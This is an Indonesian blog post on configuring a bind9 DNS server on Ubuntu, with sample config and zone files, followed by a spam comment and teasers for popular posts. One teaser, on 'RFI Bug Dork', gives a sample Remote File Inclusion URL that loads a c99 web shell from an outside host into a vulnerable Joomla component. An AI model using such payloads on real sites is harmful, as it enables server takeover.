Langsung ke konten utama

Konfigurasi bind9 DNS Server Ubuntu

Berikut cara konfigurasi bind9 DNS Server di Ubuntu Server

edit file /etc/bind/named.conf.options

isinya kira-kira:

options {
    directory "/var/cache/bind";

    // If there is a firewall between you and nameservers you want
    // to talk to, you may need to fix the firewall to allow multiple
    // ports to talk.  See http://www.kb.cert.org/vuls/id/800113

    // If your ISP provided one or more IP addresses for stable 
    // nameservers, you probably want to use them as forwarders.  
    // Uncomment the following block, and insert the addresses replacing 
    // the all-0's placeholder.

     forwarders {
         203.130.208.18;
     };

    auth-nxdomain no;    # conform to RFC1035
    listen-on-v6 { any; };
};


edit file /etc/bind/named.conf.local
contoh isinya:

//
// Do any local configuration here
//

// Consider adding the 1918 zones here, if they are not used in your
// organization
//include "/etc/bind/zones.rfc1918";

zone "birucom.co.cc" {
        type master;
        file "/etc/bind/db.birucom";
};

zone "0.168.192.in-addr.arpa" {
        type master;
        file "/etc/bind/db.client";
};


buat file /etc/bind/db.birucom
contoh:
;
; BIND data file for local loopback interface
;
$TTL    604800
@    IN    SOA    birucom.co.cc. root.birucom.co.cc. (
            42
            604800
            86400
            2419200
            604800 )
;
@       IN      NS      ns01.birucom.co.cc.
@       IN      A       192.168.0.1
@    IN    A    10.1.0.1
@       IN      AAAA    ::1
www    IN    A    192.168.0.1
ns01    IN    A    192.168.0.1
$GENERATE 2-254 $.subnet192-168-0 IN A 192.168.0.$

buat file /etc/bind/db.client
contoh:
;
; BIND data file for local loopback interface
;
$TTL    604800
@    IN    SOA    birucom.co.cc. root.birucom.co.cc. (
            43
            604800
            86400
            2419200
            604800 )
;
@    IN    NS    ns01.birucom.co.cc.
1.0.168.192.in-addr.arpa. IN PTR ns01.birucom.co.cc.
$GENERATE 2-254 $.0.168.192.in-addr.arpa. IN PTR $.subnet192-168-0.birucom.co.cc.

restart DNS Server
/etc/init.d/bind9 restart

Selesai

artikel dikutip dari forum ngapak : http://www.ngapak.web.id/Thread-Konfigurasi-bind9-DNS-Server-Ubuntu


Komentar

  1. Hi there! I simply would like to give you a big thumbs up for your great info you have got right here on this post. I will be coming back to your site for more soon. Backpage alternative websites 2019 & Putlocker9 movies

    BalasHapus

Posting Komentar

Postingan populer dari blog ini

List RFI Bug Dork

Khusus buat newbie. Apa itu RFI?? RFI atau Remote File Inclusion adalah salah satu metode hacking dengan menginclude file. Tool yang sering dipakai adalah C99 shell injection atau R57 shell injection. Metodenya sangat sederhana. Ketika kita sudah mendapatkan target, kita hanya perlu menginclude file C99 atau R57 nya. sebagai contoh: kita mempunyai target http://domain-name.com/administrator/components/com_comprofiler/plugin.class.php?mosConfig_absolute_path= maka disini kita include file c99 nya, menjadi http://domain-name.com/administrator/components/com_comprofiler/plugin.class.php?mosConfig_absolute_path=http://domain-kita.com/c99.txt Jika berhasil maka kita akan dapat masuk ke dalam server target dengan c99 shell berikut beberapa list RFI Bug Dork. Ini hanya sekedar informasi, jadi bagi yang merasa memakai CMS dengan module-module yang masuk dalam list berikut, segera update module nya atau segera perbaiki bugs nya. Semoga bermanfaat. =====================...

Format tanggal otomatis menggunakan javascript

Biasanya pada aplikasi-aplikasi php yang kita buat seringkali harus merubah dari format tanggal mysql ke format tanggal yang sesuai dengan keinginan kita. contohnya: <div>     <?php echo date('d F Y', strtotime($row['mysql_date'])); ?> </div> Nah kita bisa persingkat kode kita dengan menyisipkan sedikit javascript dan biarkan browser yang memprosesnya :) Pertama-tama yang kita butuhkan adalah: 1. jQuery 2. Moment JS <script type="text/javascript" src="path to jquery.js"></script> <script type="text/javascript" src="path to moment.js"></script> <script type="text/javascript"> if($('.format-date').length > 0){         $('.format-date').each(function(){             var ini = $(this);             var tgl = ini.text();             //moment.locale('id');             if(mome...

[Newbie Trick] Memotong kata dan memotong karakter string dalam PHP

Fungsi ini mungkin suatu ketika diperlukan untuk pembuatan sebuah Content Management System, dimana biasanya tampilan list awal sebuah website tidak menampilkan seluruh artikel, melainkan potongan artikel. Kali ini saya akan berbagi trik untuk memotong string per kata atau per karakter.. 1. Fungsi untuk memotong string per karakter Untuk memotong string per karakter bisa digunakan fungsi PHP sub_str berikut contohnya : function limitChar( $content , $limit ) {         if (strlen( $content ) <= $limit ) {             return $content ;         } else {             $hasil = substr( $content , 0, $limit );             return $hasil . "...";         }     } Fungsi diatas akan memotong $content sesuai dengan $limit yang diberikan. Jika panjang $content kurang dari atau sama dengan $limit maka fungsi terse...